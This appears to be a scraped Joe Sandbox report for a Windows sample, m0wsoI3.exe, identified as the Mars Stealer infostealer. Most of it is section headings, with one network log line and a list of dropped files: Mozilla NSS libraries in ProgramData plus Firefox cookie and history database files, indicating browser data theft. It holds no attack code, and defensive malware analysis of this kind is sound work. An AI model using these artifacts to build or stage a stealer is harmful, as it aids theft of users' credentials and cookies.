Mar 17, 2025 13:22:12.639641047 CET	80	49693	188.114.97.3	192.168.2.6

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report m0wsoI3.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Mars Stealer

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

C:\ProgramData\softokn3.dll

C:\ProgramData\vcruntime140.dll

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

C:\Users\user\Desktop\2NOH4EKN

C:\Users\user\Desktop\CBIEU37Q

C:\Users\user\Desktop\DBAI5X4O

C:\Users\user\Desktop\HVKX4WTJ

C:\Users\user\Desktop\LFKFUKFU

C:\Users\user\Desktop\QIEKNGVA

Windows Analysis Report
m0wsoI3.exe